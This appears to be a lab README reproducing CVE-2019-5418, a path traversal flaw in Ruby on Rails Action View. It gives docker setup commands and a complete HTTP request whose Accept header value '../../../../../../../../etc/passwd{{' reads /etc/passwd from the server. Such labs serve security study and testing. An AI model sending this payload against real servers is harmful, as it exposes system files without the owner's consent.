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# Ruby on Rails Path Traversal and Arbitrary File Read (CVE-2019-5418)
[中文版本(Chinese version)](README.zh-cn.md)
Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
There is a local file inclusion vulnerability in Ruby on Rails action view <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3.
When using `render file` in a controller to render views outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value `Accept: ../../../../../../../../etc/passwd{{`, attackers can exploit a path traversal vulnerability to read arbitrary files.
References:
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://github.com/mpgn/CVE-2019-5418
- https://xz.aliyun.com/t/4448
## Environment Setup
Execute the following command to compile and start Ruby on Rails 5.2.2:
```
docker compose build
docker compose up -d
```
After the server starts, visit `http://your-ip:3000` to see the Ruby on Rails welcome page.
## Vulnerability Reproduction
Visit `http://your-ip:3000/robots` to see that the normal robots.txt file is being read.
To exploit the vulnerability, send the following request to read `/etc/passwd`:
```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
Successfully read the file:
![](1.png)